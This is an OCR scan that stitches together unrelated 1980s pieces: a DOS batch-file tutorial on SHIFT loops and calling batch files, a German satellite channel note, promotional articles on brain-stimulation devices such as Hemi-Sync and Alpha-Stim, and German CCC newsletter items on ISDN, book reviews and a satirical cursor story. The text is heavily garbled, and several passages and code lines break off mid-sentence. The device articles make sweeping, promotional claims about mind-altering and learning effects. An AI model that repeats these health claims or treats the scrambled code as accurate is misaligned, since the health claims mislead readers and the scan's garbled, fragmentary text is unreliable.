have a print formatter called 
PRT.COM. You could feed several 
files to it with a batch file containing 
the fol lowing: 
FOR %%@ IN(%1 %2 %3 %4 %5 

%6 %7 8% 9%) DO PRT %%@ 
This is fast enough, but is limited to 
nine arguments. This little program 
will accept unlimited arguments, us-
ing SHIFT: 
•DO 

IF %1@==@ GOTO ENDDO 
PRT %1 
SHIFT 
GOTO DO 

:ENDDO 
or quicker: 
:PROC 

IF % 1 @ = = @ GOTO ENDPROC 
PRT %1 
FOR %%@ INfSHIFT GOTO) DO 
%%@ PROC 

:ENDPROC 
This Is the most general form that 

will not execute if there are no argu-
ments. A shorter (and therefore fas-
ter) version of this basic loop may be 
used, but this form wi l l execute at 
least once, even if there are no argu-
ments. Use it by all means if this 
does not matter. 
•.LOOP 

PRT %1 
SHIFT 
IF NOT %1@ = =@ GOTO LOOP 

or quicker: 
:LOOP 

PRT %1 
FOR %%@ IN(SHIFT IF) DO %%@ 

NOT %1@= = @ GOTO LOOP 
If we can use CRLF.BAT to break 

out of the program, we can have the 
best of both worlds. 
:LOOP 

IF %1@==@CRLF 
PRT %1 FOR %%@ IN(SHIFT GOTO) 

Batch procedures 
You may want to create a complex 
batch file to automate an obnoxious 
procedure, but perhaps you don't 
use it often enough to remember its 
complex call syntax. 

The answer to this is to set the 
batch file up so it will give you some 
instructions if called with no argu-
ments. For example, here is the start 
of my batch program 'DLOAD.BAT' 
which permits unattended download-
ing of partitioned datasets from the 
IBM mainframe, a procedure that 
could take hours. The actual down-
load procedure is so slow that batch 
file speed is a negligible factor, so 
nothing is compressed into FOR 
loops here. 
ECHO OFF 
CLS 
IF NOT °/<Tl@==@GOTO START 

ECHO DOWNLOAD PARTITIONED 
DATASETS FROM MAINFRAME 
ECHO 

ECHO SYNTAX: DLOAD DSN DIR 
MEMBER1 MEMBER2 
MEMBER3. . . 

ECHO Where DSN is the fully 
qualified dataset name, 

ECHO DIR is the 
destination subdirectory. 

ECHO and MEMBERn 
are any number of member 
names. 

CRLF 
•.START 
SET DSN=%1 
SHIFT 
SET DIR = %1 
FOR %%@ IN(MD SHIFT) % % @ \ % 1 
MD \%1 >NUL 
SHIFT 
:D0 

IF %1@==@ CRLF 
<D0WNL0AD PR0CEDURE> 
SHIFT 
GOTO DO . 
Several techniques are used in this 

program. If DLOAD is entered with 
no arguments, the first IF statement 
detects this, and the instructions are 

echoed. When DLOAD is called w i t h 
arguments, the first variable is set t o 
%DSN% for later use by < d o w n l o a d 
procedure>, then is shifted away. 
The second variable (now %1) is 
stored as %DIR% and then creates 
the desired subdirectory be fore 
banishment by shifting. The ' m e m -
bers' are shifted in turn into pos i t ion 
%1 by the loop, until they are all 
used up. Exits f rom the program are 
by fast calls to CRLF.BAT, which w a s 
created earlier. If the attempt to 
make the subdirectory fails, perhaps 
because the subdirectory already ex-
ists, the resulting error message w i l l 
be shunted off to NUL. 

Menus 
Fig 1 shows a program to con t ro l 
some settings for an Epson/IBM-type 
printer. It wil l display a menu if cal-
led without argument, but this m e n u 
may be bypassed if the user knows 
what to enter. 

Calling batch files 
Now we wil l see how we can cal l 
another batch file and return f r o m it, 
as though it were a subroutine. If 
you chain to another batch program, 
that's it — there Is no return. T h e 
secret of true calls is the 'COM-
MAND' statement. 

'COMMAND' loads another copy of 
part of COMMAND.COM into m e m -
ory and gives it control. This does 
not consume as much memory as 
IBM would have you believe, since i t 
does not load another copy of t h e 
whole 28k or 40k COMMAND.COM — 
it only loads another copy of t he 
command processor which is a b o u t 
4k. The new command processor 
runs quite independently of the pre-
vious one. 

The command 'EXIT' purges t h e 
currently executing command p ro -
cessor and puts you back to the pre-
vious one. EXIT does nothing if en-
tered into the one and only o r ig ina l 
command processor. 

It is not obvious what the use of 
this is until you remember f i le re-
direction. What happens if the new 
command processor takes its input 
f rom a file? Try it by making a f i le 
full of commands, ending w i th EXIT 
We'l l call it GIZMO. (If you don ' t end 
this file wi th EXIT you'l l never re tu rn ; 
the computer wi l l hang up for good )' 
VOL 
ECHO This line is f rom 

the called file. 
VER 
EXIT 

Next create DR1VE.BAT and run i f 
ECHO OFF 
CLS 
ECHO This line is f rom 

the main program. 









SAT-TV-PROGRAMMTABELLEN 

DIE SATELLITEN Ut 

In der nachstehenden Tabelle wird außer der Original-SAT-
Abstrahlfrequenz in GHz auch die erste Zwischenfrequenz im 
Zwischenfrequenzbereich 950 -1700 MHz und im Zwischgn-
frequenzbereich 1284 - 1534 MHz (Telecom) aufgeführt. 

Dieses Programm wird über den Ostbeam abgestrahlt und ist deshalb nicht in der gleichen Qualltat wie die anderen 
Programme zu empfangen 
„Film Net", „Premiere" und „BBC" werden verschlüsselt abgestrahlt. 
„Sky Channel" momentan unverschlüsselt. 

* spaltet den Transponder zeitweise auf, um zusätzlich „RAI-DUE" zu übertragen. 









































had already proven that when the brain was incertainextraordinary states 

(such as in the depths of meditation, at moments of intense creativity or 

at peak experiences), it produced a characteristic pattern of bra.nwaves 

including large quantities of slow brain waves (called iheta waves), and 

shifted into a pattern in which both hemispheres functioned together (a 

state neurologists called "synchrony"). Monroe's discovery made it 

possible to produce certain sound patterns that would allow the user to 

produce both hemispheric synchrony and to "tune" the brainwaves to 

whatever frequency was desired. 

Monroe patented this audio brain-synchronization method under the 

name HE M I SYNC , and now makes it available on a variety of tape 

recordings for home use, or in the form of a Henii Sync syndics izer, which 

can be hooked up to a home audio system. This synthesizer is a powerful 

device: itcanbc adjusted to play any of a variety of beat frequencies (such 

as a combination of thcta and the ultra-slow delta, to induce profound 

relaxation; or a combination of thcta with the rapid beta, to produce a 

relaxed but alert stale ideal for learning, reading, etc.) and to play these 

beat frequencies at any sound level desired (you can set it several decibels 

below the level of the music you're playing, so that the Hemi Sync signals 

are never audible yet still have powerful mind-altering effects). 

Laboratory research into the uses of Hemi Sync shows a variety of 

brain stimulating effects, and in fact ihe device is now being used as a tool 

for increasing classroom attention and accelerating learning in a number 

of public school systems, at universities, and in U.S. Army language 

schools. 

Alpha-Stim 

We Sing the 
Mind Electric 

We have electric-powered brains: all our 

thoughts and perceptions consist of the 

interactions of complex electromagnetic 

systems and fields thatconstantly sweep across 

the brain, triggering the release of neuro-

chemicals. So it makes sense that shooting an 

electrical current through the brain should 

directly, at times radically, alter one's mental state. 

One way of doing this has come into wide use in the last two decades: 

Transcutaneous Electro Neural Stimulation, or TENS. TENS units are 

widely used to alleviate pain or overcome addictions since the electrical 

current stimulates the release of the neurochemicals known as 

endorphins, the body's natural opiates. However, according to 

bioclectricity experts, electrical currents can be delivered in an infinite 

number of wave shapes, frequencies, and intensities, each one capableof 

affecling different groups of neurons and causing them to release 

different neurochemicals. Since scientists now believe that there are a 

neurochemicals mediating virtually every mental state, such as love, fear, 

courage, serenity and deep concentration, theorelically it is possible, if 

the device is "tuned" to the correct level, to stimulate any mental state. 

ALPHA-STIM . One of the most effective TENS devices is one 

developed by neurobiologistDr. Daniel Kirsch and called the ALPHA-

STIM This device operates at levels hundreds of times less powerful, and 

at a much lower frequency, than most TENS units-producing a current 

similar to ihe natural current produced by the body's cells, and thus able 

to stimulate the cells in a more natural way. 

Aside from the therapeutic applications, the dcvice is of particular 

interest to those interested in enhanced mental functioning when it is used 

in its "transcranial" mode: by attaching the electrodes to your earlobes 

you can send current directly into the brain, rapidly producing a state of 

deep relaxation, heightened awareness, and a sense of well-being or 

euphoria. Research now suggests that by "tuning" the brain s electrical 

activity and stimulating the release of neurotransmitters associated with 

enhanced mental performance, such devices can be used to boost leam-

ine memory, and other mental processes. 

Perhaps the most startling and convincing studies have recently been 

completed, and the extraordinary results are only now being made pub he. 

S S M adden Ph.D., of the School of Electromedical Sconces of the 

City Un i versUy o'fLo s Angeles, working with Dr. Daniel Kirsch Ihe dean 

o that Z l (and also the inventor of the Alpha-Sfm), « » d u c t e d an 

e crimen? in electrical stimulation and learning using a double-bhnd, 

placebo control design. Subjects were randomly assigned to two groups: 

(1) an experimental group, who received electrostimulation while 

learning and performing a computer task; and (2) a control group , who 

were also hooked up to the electrostimulation devices and received the 

same treatment as the experimental group, but did not receive any 

electrical stimulation. Statistical comparisons showed both groups were 

initially equivalent in age, education and pretreatment performance. 

The experimental group received 10 minutes of electrical stimulation 

while learning and performing the computer task; the control group 

learned and performed the task for the same period of time, without 

stimulation. The results were clear: the group receiving electrical stim-

ulation learned the task, and performed the task with more speed and 

accuracy than the control group. That is, the electrical stimulation 

actually improved learning abilities, concentration, accuracy and speed! 

Another intriguing fact came to light as the results were analyzed. The 

experimenters expected lhat both groups would improve on their per-

formance with repeated practice and greater familiarity with the task. It 

makes sense that the more you practice something, the better you will 

perform that task. However, something unexpected happened wi th the 

control group. As Kirsch explained it to me, "The interesting unexpected 

finding was that 30.8 percent of the control group actually did worse as 

they went along. We expccted them to do better with each trial; they did 

worse, due to fatigue, inattention and boredom." On the other hand , the 

group receiving electrical stimulation continued to improve and leam 

over repeated trials. Somehow elcctrical stimulation alleviated boredom 

and fatigue. 

Madden and Kirsch conclude: "Since the results of this study dem-

onstrate the efficacy of TCES [transcranial electrostimulation] in im-

proving human learning and performance, the possible applications of 

this modality seem virtually unlimited. TCES seems well suited to 

education and training environments. Most directly related to this study 

might be the use of TCES by colleges and business schools to teach typing 

and word processing skills more expeditiously. Normal or learning 

disabled children might also be taught more efficiently under the im-

mediate or residual cffccts of TCES in classroom settings. 

"More removed from this study might be the use of TCES in business 

and industrial environments to stimulate cxccutive problem solving or 

improve workers' concentration, accuracy and speed. Police officers, 

automobile drivers, air traffic controllers, surgeons, pilots, athletes and 

others seeking increased alertness, concentration and performance may 

benefit from TCES." 

As Kirsch told me, "This study is extremely significant, because it 

proves that stimulation of the brain can induce positive changes. People 

arc always searching for ways to improve themselves, and if there's a safe 

and easy and proven method, then it should be used, because it's a 

catalyst. The brain is like a muscle, the more you work it the more you can 

learn, and the easier it is to leam." 

The Pulstar 

Mechanical 
Meditation 

For over fifteen years inventor Michac l 

Herculcs worked as an acrospace engineer 

specializing in bio-mcdical electronics and 

vibration analysis on the Landing Excursion 

Module for the NASA moon shots. He also 

served as Test Conductor for the Titan I project 

"During this lime," he told me, "I bccame 

interested in the research revealing the many benefitsof meditaLion (such 

as the boosting of intelligence, improved healing, and stress reduction) 

and decided to construct a mechanical aid to help meditators overcome 

difficulties in reaching deep meditative states." 

Keying on ihe Russian Electro-Sleep Machine that had aroused great 

interest some years ago, Hercules altered and streamlined it, and came up 

with what is now known as ihe Pulstar, a devicc he claims "subl iminal lv 

teaches control of brain-wave frequency by propagating an electronic 

signal through the brain." The dcvice is about the size o i a small book 

with an on-off switch, a knob to control the intensity of the signal (which 

is in the 5 to 20 microampere range—well below the limits set bv th 

FDA), a white noise generator (according to Hercules this buffers th° 















Was sind Ihre mickrigen 64 Kilobytes Speicherplatz gegen die Millionen 
a. von Bäumen in unserem Urwald oder die Milliarden von Grashalmen * 

/ Ä auf unseren Savannen/ 

Post Future? 
9 « 

inteilsatsystems. mit insgesamt 153000 Telefon-und 24 Fernsehkanälen. Durch 
Satelliten können jeweils 12000 Telefongespräche gleichzeitig übertragen werden 
Global gibt es über: 550 mio. Telefonanschlüsse. 1.5 mio. Fernschreiber. 6 mio. 
Terminals und rund 1 mio. kommunikationsfähige PC's Mehr als 24 mio. Fern-
sprechhauptanschlüsse entfallen allein aul das Fernsprechnetz der DBP. Die 
Telekommunikationsdienste der DBP bestehen heute aus getrennten Fernmelde-
netzen. wie das herkömmliche Fernsprechnetz mit ca. 30 mio. Telefonen, das 
Integrierte Text- und Datennetz in digitaler Technik |IDN) swie die lokalen Breit-
bandverteilnetze für die Übertragung von Ton-und Fernsehprogrammen. Als vor 7 
Jahren die Grundsatzentscheidung der DBP fiel, ihr total veraltetes Fernmeldenetz 
zu digitalisieren, und die einzelnen Netze zu integrieren, war das herkömmliche 
Fernsprechnetz Mittelpunkt ihrer Überlegungen, Denn es bringt die wichtigsten 
Voraussetzungen einer Netzintegration von vornherein mit: es ist das ffächenmässig 
am dichtesten ausgebaute Netz, es hat bei weitem die grosste Teilnehmerzahl, es 
dient der geschäftlichen wie der privaten Kommunikation, seine technischen 
Einrichtungen sind vergleichsweise preiswert, es ist weitgehend international 
standardisiert. Die Grenzen des Fernsprechnetzes liegen jedoch in seiner einge-
schränkten Übertragungskapazität und -qualitit. Die Teitnehmeranschlüsse des 
Fersprechnetzes und des Integrierten Text und Datennetzes bestehen ausschliess-
lich aus Kupferkabel, dessen niederes Leistungsniveau nicht die Ansprüche von 
Morgen gewährleisten. Seit 1982 ist die OBP nun dabei, die Übertragungssysteme 
des regionalen Fernverkehrs zu digitalisieren. Nach Angaben der DBP wird der 
Oigiialisierungsgrad 1985 einen Wert von 20% der gestalteten Leitungen nicht 
uberschreiten. Die Digitalisierung der Ubertragungssysteme der überregionalen 
Verbindungen werden aller Voraussicht 1990 die 50% Klausel erraffen, erst 10 
Jahre später im Jahr 2000 hofft man, die 100% Digilalisierung hinter sich zu 
bringen. Der vollständige Ausbau des Fernsprechnetzes in digitaler Technik wird 
voraussichtlich im Jahre 2020 abgeschlossen werden. Da schon im Normalfall bei 
rter DBP alles länger dauert, wird im Ernstfall ein Digitalisierungsende nicht vor 
dem Jahre 2050 zu erwarten sein, was sehr starken Zweifel an dem ganzen Projekt 
aufkommen lässt. Die Gründe liegen laut DBP in den enormen Innovations- und 
investltipnsansprüchen dieses Projektes, denn allein das Auswechseln der rund 
6700 Vermifffungssieffen des Fernsprechnetzes mrt den Mitfionen von Leitungen 
erfordert Jahrzehnte und Investilionen in Milliardenhöhe. Die Vermittlungsstellen 
besitzen für sich allein einen Wiederbeschaffungswert von ca. 40 Mrd. DM-West. 
Nach Fertigstellung dieses neuen Fernmeldeneues trägt es den stolzen Namen: 
ISDN". Was für den international standardisierten Begriff: Integrated Services 

Digital Network steht. Ziel dieses Schaffens stellt der ISON-Saaisanschluss dar. bei 
dem über die herkömmliche Kupferdoppelader der Teilnehmeranschlussleitung in 
digitaler Form zwei Nutzkanäle mit je einer Bitrate von &4 kbit/s sowie ein 
zusätzlicher Steuerkanal mit 16 kbit/s übermittelt werden können. Besonderes 
Merkmal des ISDN ist. die seit langem erwartete, genormte Teilnehmerschnmstelle. 
bezeichnet als " Die Universalsteckdose "... Was bietet uns. dann Verstorbenen, 
das ISDN-Projekt? Im ISDN-Fernsprechen wird eine bessere Sprach Übertragung 
gegenüber dem heutigen Fernsprechen garantiert. Beim ISDN-Teletex können über 
64 kbit/s eine OIN-A4-Seite in weniger als 1 Sekunde statt bisher 8 Sekunden 
übertragen werden. Wenn im Jahre 20?? BTX noch vorhanden sein sollte, sind die 
Benutzer in der Lage über ISDN-Bildschirmpest schnellere Bildaufbauzeiten zu 
genießen. Laut DBP wird es jedoch an dem unüberwindbaren Anpassungsaufwand 
in den Bildschirmtextvermittlungsstellen scheitern. Die ISDN-Bildübermittlung er-
wirkt etwa alle 4 Sekunden ein neues Standbild. Bewegtbilder sind im ISDN natürlich 
nicht möglich. Aber was kümmert uns. dann in den ewigen Jagdgründen der 
Datenwelt, verstorbenen Hackern und Datentouristen der ganze ISDN-Alptraum? 
Was bleibt ist jedenfalls nur die neue Date*-L Verbindung in die USA. d<e der Gilb 
in Zusammenarbeit mit der amerikanischen Fernmeidegeseiischaft TRT Telecom-
munications Corporation und der Firma Nixdorf Computer AG errichtete. Die 2400 
Dit/s Datex-L Verbindung wurde auf der Hannover-Messe 1985 eröffnet 

created by Ooefix. 

Das Redaktionsteam erhielt zum Redaktionsschluß diesen Beitrag Er ist die 
Überarbeitung eines älteren Entwurfs für die ds 11/12, der aber nichi abgedruckt 
wurde. Wir bitten um Zuschriften, die wir an den Autoren Weiterleiten 

et isdnob13.ws 850929 2200 

Heyne Halbschnellschuß 
Ein amüsantes, aber fachlich unkorrigiertes Bach stammt vom Heyne-Verlag. 
Richtig geklappt hat merkwürdigerweise die Datenübertragung eines Mailbox-
verzeichnisses im Anhang ausgerechnet von der Telebox. Und so findet sich 
unler 'Mailboxen in Deutschland" unter dem Eintrag Chaos Computer Club 
eine private Telefonnummer mit dem korrekten Vermerk "Keine Mailbox!". 
Jetztr ist sie nicht mehr privat und Nummer der Btx-Redaktion (Notlösung) 
Hatten andere Leute ähnliche Probleme? 
Beim Lesen finden sich ein paar wit2ige Personenbeschreibungen, die in 
einigen Punkten etwas verwischt sind. Dazu kommt eine Sammlung vieler 
Hackerstohes. Lastig ist der Personenkult. Em Datenschleuder-Leser schreibt 
dazu nach einem Vorspann zum Bezugsproblem datenschleuder: 
DM (Leider dürfen wir hier den richtigen Preis nichl schreiben, da das sonst 
Werbung wäre. Red ds) gekauft. 
Und drin handelt das Ding last nur von Wauibaby. Ist es etwa das? Verschlingt 
die Pflege des Personenkults alle Zeit und alles Geld? Die beiden Autoren 
vergaßen zu erwähnen, was rtian zum Frühstück essen muß. damit man ein 
weltberühmter Hacker wird (Falsch. Auf Seite 10 steht "...Butter lila färben 
kann." Die Autoren besuchten Wau. als er Brötchen mit lila Butter und Honig 
frühstückte. Red. ds) 
Nun gut. Will ich mich langsam wieder abregen. Was wir aber nicht übersehen 
wollen ist. daß ich seit der Einladung zum Congress keine ds mehr bekommen 
habe. Über den Congress habe ich tatsächlich erst wieder was in diesem 
bescheuerien Buch gelesen. 
Ich wäre euch dankbar, wenn ihr meinen Briefkasten, bzw. den Brietkasten 
meiner Freundin, demnächst reichlich mit guter Literatur füllen wurdet. (Wir 
mühen uns redlich. Anm. ds) 
Schickt mir ja nicht dieses besemmelte Buch, das ich leider schon habe? 
(Versuch es bei Heyne mit einem Garantie-Umtausch. Anm. ds) Gruß. Frank 
(War nett, wenn Cu die Hackerbibel rezensierst. Deine Art gefällt. Besuch uns 
mal. Anm. ds) 

Militäreinsatz gegen Hacker 
"Wenn es ein Phänomen wie das absolut Bose überhaupt gibt, dann besteht 
es darin, einen Menschen wie ein Ding zu behandeln." (John Brunner) 
Und doch tun sie es. diese Perfeklionisten. diese entsetzlich tüchtigen Leute, 
die mit ihren präzise funktionierenden Fischgehirnen Menschen auf Stückgut, 
auf Menschenmateriat. auf Zahlenkombinationen reduzieren, um sie in den 
Gritf zu bekommen, um sie als numerische Größen in ihren Kalkülen hand-
haben zu können Wie winzig der Schritt von diesem Denken zum Handeln 
ist. ist Alltag. Beispiel: Für einen Atomstaat ist es Kleinkram, ein Schiff von 
Greenpeace zu sprengen und dabei einen Fotografen zu ermorden. Das gibt 
einen Ministerrücktritt, und diejenigen, die die Presse informierten werden 
bestraft und nicht belohnt. 
Noch verlügt kein Land der Welt über den elektronischen Perfektionismus, 
wie ihn Brunner im "Schockwellenreiter" beschreibt. Aber die Zimmermänner 
aller Länder bauen daran und wollen, daß wir - angeblich zu unserer 
Sicherheit - im Datennetz zappeln. 
Oann bedarf es nur einer Regierung, die noch viel korrupter und skrupelloser 
als unsere ist und schrankenlos von diesem immensen Machtmittel Gebrauch 
macht. 
Der Schockwellen reifer ist die Geschichte eines ComputerSabotageSpeziali-
sten. der das Wissen der Militärs hat, aber nicht so bescheuert denkt wie 
diese und mit seinen Freunden elektronische Bandwürmer auf Regierungs-
computer losläßt, bis die Mächtigen per Militär an die 'Neutralisierung' gehen. 
Das ist keine Buchbesprechung, sondern ein Hinweis auf Pflichtlektüre. Heyne 
hat das Buch endlich neu aufgelegt (entgegen der MSG in der Hackerbibel). 
ISBN 3-453-30584-1. Heyne 06/3667, John Brunner. Der Schockwellenreiter. 
Auszuleihen bei jeder Ansammlung von CCCIern. 

Die Netzweber 
In der ds und der Hackerbibel wurde das Buch "NETWEAVING" erwähnt. Jetzt 
ist es aufgetaucht, es war verliehen. Es heißt NICHT Netweaving" sondern 
The Nefweerer's Sourcebcok. A Guide fo Micro Networking and Communica-
tions und ist von Dean Gengle geschrieben, in über 10 Jahren ist Dean vom 
Sys-Op zum Network-Wizard geworden. Er hat das CommuniTree Netzwerk 
in San Francisco mit anderen zusammen entwickelt und eine Menge Erfah-
rungen gesammelt über die Auswirkungen des Informationszeitalters auf 
Kommunikation. Arbeit und Spiele. In The Nctwoavers Sourcfetoofc faßt er 
dieses Wissen zusammen. Es ist kein leichter, aber wichtiger Stoff Stil. Inhalt 
und Konsequenz: gut. 
ISBN 0-201-05206-3. Addison-Wesiey. 326 Seiten b:seite4 
Nachbemerkung: Da wir neuerdings den Vertrieb der ds aus Kosiengründen 
über Postverlriebsstück machen, dürfen wir nichl die Preise der Bücher 
nennen, sonst würde es als Werbung gelten. 
buchbe13.ws 850930 0244 
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Das Cursor Operation System COSY Nr. 13/85 

Die Seele eines neuen Cursor 
Quelle: Originaltext 29. 07. 65 (c) P.GLASER Erstveröffentlichung COMBOX:FEUi leton 

Die Entstehungsgeschichte von COSY (Cursor Operation System) - Teii / 
Ich weiss nicht - Ich denke, mit der Zeit soll mir 
der auch lieber werden. 
(Goethe. Die Leiche des jungen Khoerser) 

Angefangen hatte alles im Frühjahr 1985 mit 
dem stilvollen Hinscheiden einer Grossreche-
nanlage: CURSOR LOST waren ihre letzten 
Worte gewesen, bevor sie i n den hexade2i mal en 
Hades hinabgefahren war. 

Diese schlichten Abschiedsworte inspirierten 
einen Kreis junger Menschen: Sie hatten sich 
zu einem "Autonomen Sink Tank" (AST) zusam-
mengeschlossen. Man war lange schon mit der 
phantasielosen Funktion und dem Erschei-
nungsbild des landläufigen Cursor Vulgaris un-
zufrieden gewesen: Ein langweiliger Lichtfleck, 
der. wenn er nicht grade blöde blinkte, nichts 
weiter als trostlos anzusehen war. Nun gab es, 
einen Innovalionsschub: Das Projekt VIC, der 
"Virulent Intensiv Cursor", wurde geboren. 

Noch in der selben Woche begann der AST mit 
der Konzeption eines umfangreichen und mul-
tifunktionalen "Cursor Operation Systems" (CO-
SY). Optimal anwenderfreundlich, war es als 
"Gänzlich Userlos Arbeitende Schalteinheit' 
(GULASCH) angelegt. Online sollte es sich als 
"Wundersam Aktives Untergrundprogramm" 
(WAU) rege verbreiten. Pionierstimmung kam 
auf im AST-Labor. 
Für die Konstruktion mußte geeignetes 
Software-Werkzeug her: "Cursor Art Design" 
(CAD). "Cursor Action Modificator" (CAM) und 
"Funny Unusuaf Cursor Kit" (FUCK) wurden in 
nachte- und wochenlanger Arbeit entwickelt. 
Dazu bediente der AST sich eines eigens für 
diesen ZweckspezifiziertenCodes.des "Cursor 
Oriented Language Assembler" (COLA) mit ein-
gedickter Fliesskomma-Konsistenz und einer 
an Andy Warhol orientierten Grafik-
Befehlsleiste. 

Ende März, in der zunehmenden Frühsommer-
wärme. wurde der erste Satz CURSOR ERRORS 
erstellt und plaziert. Fortran konnten, über das 
CURSOR LOST hinaus, angezeigt werden: 

CURSOR RESTS ERROR 
(bei gewerkschaftlich organisiertem Cursor), 
zuzüglich eines ausführlichen Hinweises auf die 
kollektiwertralich vereinbarten Ruhezeilen. 

CURSOR HAPPY ERROR 
verbunden mit einem unkontrollierbar und kaut-
schukhaft über den Bildschirm hüpfenden Cur-
sor. Meist Vorzeichen für das baldige Erschei-
nen eines weiblichen Cursor (HEASOR). 

CURSOR HYSTERIC ERROR 
verbunden mit einem unregelmässig und hoch-
frequent pulsenden Cursor und Quietschgeräu-
schen. Meist Vorzeichen für das baldige Ver-
schwinden eines weiblichen Cursor. 

CURSOR OUT OF GAS 
(nur bei ben2in- und dieselgetriebenem Cursor). 
Sollte kein Tank-File vorhanden sein, kann man 
das Zeichen "" vor den Cursor set2en und ihn 
damit anschieben. 

CURSOR OUT OF SENSE 
Ein heikles Problem: Der Cursor ist in eine 
Sinnkrise verfallen und hockt dumpf brütend in 
Spalte 0 einer beliebigen Zeile am Biidschim> 
rand. 

CURSOR COLLAPS (N) 
wobei (N) eine Countdown-Variable ist, die den 
geschätzten Zeitpunkt bis zur Disfunklion des 
Cursors in sec. anzeigt. Inzwischen hatte auch 
die Erweiterung der Grafikroutinen grosse Fort-
schritte gemachL Je nach Art des Anwender-
programms und des User-Input-Verhaltens ver-
mochte der Cursor nun selbstständig in Modiii-
kationen zu verzweigen (von denen einige zur 
Dominanz über das gesamte aktuelle Programm 
führen). Endlich konnte der Cursor zeigen, was 
in ihm steckt. Die AST-Grafikspezialisten natten 
6 zentrale Routinen erarbeitet, die am 7.Juni 
zusammen mit den neqen Fehlermeldungen als 
Version COSY 0.1 den ersten erfolgreichen 
Probelauf absolvierte. Zur Feier des Tages 
genehmigte man sich eine Flasche Frustschutz-
mittel und rauchte dafür etwas weniger. 

DOKUMENTATION 
C 0 5 V Cursor Grafik Routinen 

CURD (Cursor Demoliert) 
COSY besitzt ein internes Zählregister, welches 
festhält, wann ein User den Cursor allzu ruppig 
gegen den Bildschirmrand knallt. Sind mehr als 
sieben Verstösse registriert, wird ein zuneh-
mend zerbeulter Cursor abgebildet, verbunden 
mit einem Hinweis auf seinen abnehmenden 
Wiederverkaufswert. Vor dem 14.Verstoss wird 
eine Liste von Gebrauchtcursor-Shops ausge-
geben und vor einem bevorstehenden CURSOR 
COLLAPS gewarnt. 

CUFF (Cursor Diffundiert) 
Wird der Cursor zu sehr abgehetzt (Schnei Isuch-
läufe, DFÜ über 1200 Baud u.a.). löst er sich in 
ein unscharfes Feld auf und verounstet sch Ii ess-
lich, CUFF gehört zu den Funktionen, die gege-
benenfalls auch aus dem COSY-eigenen Zufalls-
generator (COZ) aufgerufen werden. Zur Rück-
gewinnung des diffundierten Cursors muss das 
ebenfalls vom AST entwickelte Steckmodul CU-
RARE (Cursor Artificial Recreator)verwendet 
werden. Man erhält damit einen einwandfreien, 
nagelneuen Cursor, muss allerdings in Kauf 
nehmen, dass dafür das jeweilige Anwender-
programm diffundiert. 

EXCURS (Expandierender Cursor) 
Eine Funktion, die dem Timeout bei der Daten-
fernübertragung ähnelt. Erfolgt innerhalb von 
60 Sekunden im aktuellen Programm keine 
halbwegs vernünftige Eingabe, beginnt der Cur-
sor sich im Puls te t aufzublähen. Ist der Com-
puter, ergänzend zu COSY. mit einem 
FLAUSCHWERK ausgestattet, hilft der Befehl 
REBLAEH. Hat der Cursor das ganze Bild-
schirmformat ausgefüllt, kann nur noch CURA-
RE benutzt werden. 

WRISC (Wrigley's Spearmint Cursor) 
Eine Spezialroutine für die Textverarbeitung: 
Wenn der erste Buchstabe eines eingegebenen 
Textes sich in dem Text zum 33.Mal wiederholt. 

bleibt der Cursor daran kleben. Er lässt sich 
weiterhin frei bewegen, zieht aber, ausgehend 
von der Position des Buchstaben, inverse Strei-
fen hinter sich her. Lässt man die Cursorlasten 
los. schnellt das Cursor&and wieder aul die 
Buchstaben marke Zurück. 

PACUR (Pacman Cursor) 
Eine Spezialroutine für das freie Programmie-
ren, Sind dem Programmierer gerade einige 
besonders geschickte Algorilhmen eingefallen, 
kann COSY via COZ von Fall zu Fall PACUR 
aktivieren. Eingeleitet wird die Funktion durch 
die Meldung SYNTAX TERROR. Anschliessend 
werden mit einer Geschwindigkeit von einer 
Zeile pro Sekunde die letzten 200 Programm-
zeilen wieder weggefressen. Ist die Hardware 
mit einem Tongenerator ausgestattet, erkennt 
man den Abschluss einer PACUR-Aktion an 
einem leisen Rülpsen. 

SCHWANC (Schwanensee Cursor) 
Im Anschluss an CURSOR COLLAPS 10) wird 
SCHWANC aufgerufen, die dramatische Darstel-
lung eines sterbenden Cursor. Die Abflachen 
der 8linkfrequen2 bis zum agonischen Stillstand 
des Cursor, gefolgt von einem letzten Aufbau-
men in Karoposition und einer Pirouette. An-
schliessend klappt der Cursor nach unten und 
baumelt an der imaginären Zeilenlinie, verliert 
schliesslich mit der einen, dann auch mit der 
anderen Ecke den Halt und trudelt entseelt und 
wie ein herbstlich leichtes Birkenblatt nach dem 
unteren Bildschirmrand. eotypgi3.m bso9X itoo 

Schönheit in Waffen 
Zehn Stories von Peter Giesen 

Peter wuchs als Bleistift m Graz (Österreich) aul. wo die 
hochwertigen Schriftsteller für den Expcn hergesteilt wer-
den. Er lebt seit drei Jahren als word orocessor und 
"poetronic"-Programmierer m Hamburg Er hat sein Zim-
mer um seinen CS4 drumrumgestaitel. Er will die Lyriker 
weg rationalisieren und verschickt Floppi« für Dichterle-
sungen. Das BAS'C-Gelühf in efer HacKerbibel beschreibt 
diese Entwicklung. 
In der "Schönheit in Waffen' sind lehn Stories aus den 
letzten zwei Jahren versammelt, die mit treffsicherer Ironie 
all das behandeln, was uns angehl: die Zukunft des 
Hackens. Liebessimulationen mit roter Präzision, Dreiecks-
beziehungen in was Halt", Lcnesome Heroes m "Em 
Marin bei sich" odercomic-like Geschichten von Großstadt. 
Landschaft und den Sehnsüchten der Menschen am Ende 
des 20. Jahrhunderts. Die Medienkulte faßt er kurz zusam-
men: "Der Bildschirm, das Lagerfeuer des 20. Jahrhun-
derts. und davor: der Mensch der Sfizium-Zeit. unverän-
dert: der vor dem Feuer hockende Mensch der Steinzeit, 
der schnaufend Nahrung in seinen Mund schaufelt und m 
das magische Flackern schaut." 
Oder: "Wie Vertialtenstorscher mit einer Affentamiiie, so 
leoen wir mn den großen Automaten und seinen An hagsein 
und beobachten. Das erste Wichtige ist. 'wie" jeder von 
uns mit der Maschine lebt: wie sein Empfinden und sem 
Verhalten s-ch färbt: wie neue Mythen entstehen, neuer 
Alltag vorgeht." 
Und gleich online gehen mit dem Bucn -
Poetronic für die Jackentascfie 
PETER GLASER. SCHÖNHEIT IN WAFFEN. 
10 Stories mit Illustrationen von Chris Scheuer, 
Graz (die feinen Punkte in seinen Pinselzeich-
nungen macht er mit einem einhaarigen!) 
Ktepenheuer £ Witsch. IS8N 3462017314 
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CCC-lntern, HAMBURG. — Als Nachwehe des Chaos Comuni-
cation Congresses im Dezember letzten Jahres landete ein Teil 
des CCC-Archives im nächsten Papiermüllcontainer. Durch ra-
sche Hilfe kommunaler Müllmenschen konnte der Schaden be-
